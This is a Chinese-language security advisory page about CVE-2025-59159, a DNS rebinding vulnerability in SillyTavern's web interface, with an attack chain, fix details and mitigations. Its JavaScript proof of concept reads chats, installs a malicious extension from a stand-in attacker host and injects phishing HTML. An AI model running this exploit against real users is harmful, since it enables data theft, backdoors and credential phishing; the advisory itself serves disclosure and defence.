IPBUF安全漏洞报告
English
CVE-2025-59159 CVSS 9.6 严重

CVE-2025-59159 SillyTavern Web界面DNS重绑定漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-59159
漏洞类型
DNS重绑定攻击
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SillyTavern

相关标签

DNS重绑定SillyTavern网络安全Web应用漏洞跨域攻击同源策略绕过GHSA-7cxj-w27x-x78qCVSS9.6严重漏洞

漏洞概述

SillyTavern是一款本地安装的用户界面,允许用户与文本生成大语言模型、图像生成引擎以及文本转语音语音模型进行交互。在1.13.4版本之前,SillyTavern的Web用户界面存在DNS重绑定漏洞,攻击者可利用该漏洞执行多种恶意操作,包括安装恶意扩展、读取聊天记录、注入任意HTML进行钓鱼攻击等。该漏洞的CVSS评分为9.6,属于严重级别,攻击者无需认证即可通过网络发起攻击,但需要用户交互(如点击恶意链接)。该漏洞已在1.13.4版本中通过引入服务器配置设置得到修复,该设置可对入站HTTP请求中的主机名进行验证,根据提供的允许主机列表进行检查。用户可通过在config.yaml文件中设置`hostWhitelist.enabled`或通过环境变量`SILLYTAVERN_HOSTWHITELIST_ENABLED`来启用该功能。虽然该设置默认处于禁用状态以保持对现有用户配置的广泛兼容性和向后兼容性,但建议现有用户和新用户审查其服务器配置并应用必要的更改,尤其是在通过本地网络托管且未使用SSL的情况下。SillyTavern项目维护者已发布安全公告(GHSA-7cxj-w27x-x78q),详细描述了该漏洞的影响范围和修复方案。

技术细节

DNS重绑定(DNS Rebinding)是一种针对浏览器的攻击技术,攻击者通过操控DNS响应,使得恶意网站的域名解析到受害者本地网络中的内部IP地址(如127.0.0.1或192.168.x.x),从而绕过同源策略(SOP)的限制。在SillyTavern的案例中,当用户在浏览器中访问SillyTavern的Web界面(如http://localhost:8000)时,攻击者控制的恶意网页可以通过DNS重绑定技术将域名解析为127.0.0.1,随后利用浏览器对该本地地址的信任,通过XMLHttpRequest或fetch API向本地SillyTavern服务器发送请求。由于SillyTavern默认未验证HTTP请求中的Host头,服务器会接受来自恶意网站的请求并执行相关操作。攻击者可利用此漏洞执行以下操作:1)通过扩展安装接口安装恶意扩展;2)通过API读取用户的聊天记录和敏感数据;3)通过响应注入在SillyTavern界面中注入任意HTML内容进行钓鱼攻击;4)修改服务器配置或执行其他管理操作。修复方案是在服务器端验证请求的Host头是否在白名单中,拒绝来自未授权主机的请求。

攻击链分析

STEP 1
步骤1
攻击者注册一个域名(如evil.example.com)并配置自定义DNS服务器,使其初始解析到攻击者的服务器IP地址(1.2.3.4),然后在TTL过期后重新绑定到127.0.0.1(受害者本地地址)。
STEP 2
步骤2
攻击者通过钓鱼邮件、社交媒体或其他方式诱导受害者访问恶意网页(http://evil.example.com),该页面托管了DNS重绑定攻击脚本。
STEP 3
步骤3
受害者的浏览器加载恶意页面后,DNS记录在TTL过期后重新解析为127.0.0.1,此时恶意脚本可以绕过同源策略向本地SillyTavern服务器(http://127.0.0.1:8000)发送跨域请求。
STEP 4
步骤4
由于SillyTavern默认未验证请求的Host头,服务器接受来自恶意域名的请求并执行相应操作,如读取聊天记录、安装恶意扩展、修改配置或注入HTML内容。
STEP 5
步骤5
攻击者成功窃取用户敏感数据、安装持久化后门(恶意扩展)、或通过注入的HTML进行钓鱼攻击以获取用户凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// DNS Rebinding Attack PoC for SillyTavern CVE-2025-59159 // This PoC demonstrates how an attacker can exploit DNS rebinding // to interact with a local SillyTavern instance (default port 8000) // Step 1: Attacker controls a domain with a DNS server that initially // resolves to the attacker's server IP, then rebinds to 127.0.0.1 // Example: evil.example.com -> 1.2.3.4 (attacker IP) -> 127.0.0.1 // Step 2: Victim visits the attacker's page hosted on evil.example.com // <html> // <body> // <script> // Wait for DNS rebinding to take effect (TTL expiration) async function exploit() { // Wait for DNS to rebind to 127.0.0.1 await new Promise(r => setTimeout(r, 5000)); // Step 3: Send requests to local SillyTavern instance const target = 'http://evil.example.com:8000'; // Example: List installed extensions const extensions = await fetch(`${target}/api/extensions/installed`, { credentials: 'include' }); console.log('Extensions:', await extensions.text()); // Example: Read chat history const chats = await fetch(`${target}/api/chats`, { credentials: 'include' }); console.log('Chats:', await chats.text()); // Example: Install a malicious extension const installPayload = { url: 'http://attacker.com/malicious-extension.js' }; const installResult = await fetch(`${target}/api/extensions/install`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(installPayload), credentials: 'include' }); console.log('Install result:', await installResult.text()); // Example: Inject arbitrary HTML via settings update const injectPayload = { customCSS: '<div style="position:fixed;top:0;left:0;width:100%;background:red;color:white;padding:20px;text-align:center;z-index:9999">Phishing: Enter your credentials here</div>' }; const injectResult = await fetch(`${target}/api/settings/update`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(injectPayload), credentials: 'include' }); console.log('Inject result:', await injectResult.text()); } exploit(); // </script> // </body> // </html> // Mitigation: Enable host whitelist in config.yaml // hostWhitelist: // enabled: true // hosts: // - "localhost" // - "127.0.0.1" // Or set environment variable: SILLYTAVERN_HOSTWHITELIST_ENABLED=true

影响范围

SillyTavern < 1.13.4

防御指南

临时缓解措施
对于无法立即升级的用户,建议采取以下临时缓解措施:1)在浏览器中安装DNS重绑定防护插件(如NoScript、uBlock Origin的DNS rebinding保护功能);2)通过防火墙规则限制SillyTavern端口(默认8000)的访问,仅允许受信任的IP地址访问;3)使用反向代理(如Nginx)并在代理层添加Host头验证;4)避免在浏览SillyTavern的同时访问不可信的网站;5)关注SillyTavern官方发布的安全公告,及时应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表